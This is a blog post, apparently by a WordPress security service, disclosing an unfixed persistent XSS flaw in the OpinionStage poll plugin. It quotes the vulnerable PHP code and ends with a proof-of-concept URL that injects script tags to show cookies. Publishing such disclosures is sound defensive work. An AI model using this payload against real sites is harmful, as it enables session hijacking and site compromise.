16 Sep 2019

Hackers May Already be Targeting this Persistent XSS Vulnerability in Poll, Survey, Form & Quiz Maker by OpinionStage

As part of monitoring we do to make sure we are providing customers of our service with the best possible data on vulnerabilities in WordPress plugins they may be using we monitor for what look to be hackers probing for usage of plugins. Last week through that we found two plugins with unfixed vulnerabilities that hackers would likely target. With a third plugin someone else had figure out what hackers would likely target before us (we are making changes to our process to improve our ability to quickly spot issues like that one). Earlier today we disclosed another unfixed vulnerability based on a plugin we saw probed for yesterday. And we are having to do that again as today we saw an apparent hacker probing for usage of the plugin Poll, Survey, Form & Quiz Maker by OpinionStage by requesting these files:

  • /wp-content/plugins/social-polls-by-opinionstage/readme.txt
  • /wp-content/plugins/social-polls-by-opinionstage/admin/js/menu-page.js
  • /wp-content/plugins/social-polls-by-opinionstage/assets/content-popup/index.js

In looking into what the hacker might be interested in exploiting in that we first found that the code is quite insecure and then in a few minutes we found a persistent cross-site scripting (XSS) vulnerability in the current version of the plugin that is similar to vulnerabilities that hackers have widely exploited recently and very similar to the vulnerability we mentioned earlier today. There look to be additional vulnerabilities, so the plugin should more thoroughly reviewed and secured before being used.

The vulnerability would have been something that the type of security review of WordPress plugins we do could have caught before it appears hackers found it or one of the other issues in the plugin.

The plugin registers the function opinionstage_login_content_callback() to run during admin_init, which means it can be accessed even when not logged in to WordPress:

6
add_action( 'admin_init', 'opinionstage_login_content_callback' );

That function, which is located in the file /admin/opinionstage-content-login-callback.php, takes unsanitized user input and passes it to the function opinionstage_parse_client_data():

23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
function opinionstage_login_content_callback() {
  if ( 'opinionstage-content-login-callback-page' == filter_input( INPUT_GET, 'page' ) ) {
    $success = $_GET['success'];
    $uid = $_GET['uid'];
    $token = $_GET['token'];
    $email = $_GET['email'];
    $fly_id = $_GET['fly_id'];
    $article_placement_id = $_GET['article_placement_id'];
    $sidebar_placement_id = $_GET['sidebar_placement_id'];
    $redirect_url = urldecode($_GET['return_path']);
 
    delete_option(OPINIONSTAGE_OPTIONS_KEY);
 
    opinionstage_parse_client_data(
      compact(
        'success',
        'uid',
        'token',
        'email',
        'fly_id',
        'article_placement_id',
        'sidebar_placement_id'
      )
    );

That function, which is located in the file /includes/opinionstage-utility-functions.php, then saves the user input in the WordPress option opinionstage_widget:

190
191
192
193
194
195
196
197
198
199
200
201
202
203
function opinionstage_parse_client_data($raw_data) {
	$os_options = array('uid' => $raw_data['uid'], 
						   'email' => $raw_data['email'],
						   'fly_id' => $raw_data['fly_id'],
						   'article_placement_id' => $raw_data['article_placement_id'],
						   'sidebar_placement_id' => $raw_data['sidebar_placement_id'],
						   'version' => OPINIONSTAGE_WIDGET_VERSION,
						   'fly_out_active' => 'false',
						   'article_placement_active' => 'false',
						   'sidebar_placement_active' => 'false',
						   'token' => $raw_data['token']);
	$valid_ids = preg_match("/^[0-9]+$/", $raw_data['fly_id']) && preg_match("/^[0-9]+$/", $raw_data['article_placement_id']) &&  preg_match("/^[0-9]+$/", $raw_data['sidebar_placement_id']);
	if ($valid_ids) {
		update_option(OPINIONSTAGE_OPTIONS_KEY, $os_options);

Three of the user input values need to be integers, but the others are not restricted so malicious JavaScript could be saved to them. As shown with the proof of concept below, that at least would allow malicious JavaScript to run on some of the plugin’s admin pages, which is a persistent cross-site scripting (XSS) vulnerability.

WordPress Causes Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof concept will cause an alert box with any available cookies to be shown when visiting the page /wp-admin/admin.php?page=opinionstage-settings.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin-post.php?page=opinionstage-content-login-callback-page&success="><script>alert(document.cookie);</script>&uid="><script>alert(document.cookie);</script>&token="><script>alert(document.cookie);</script>&email="><script>alert(document.cookie);</script>&fly_id=1&article_placement_id=1&sidebar_placement_id=1&return_path="><script>alert(document.cookie);</script>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published.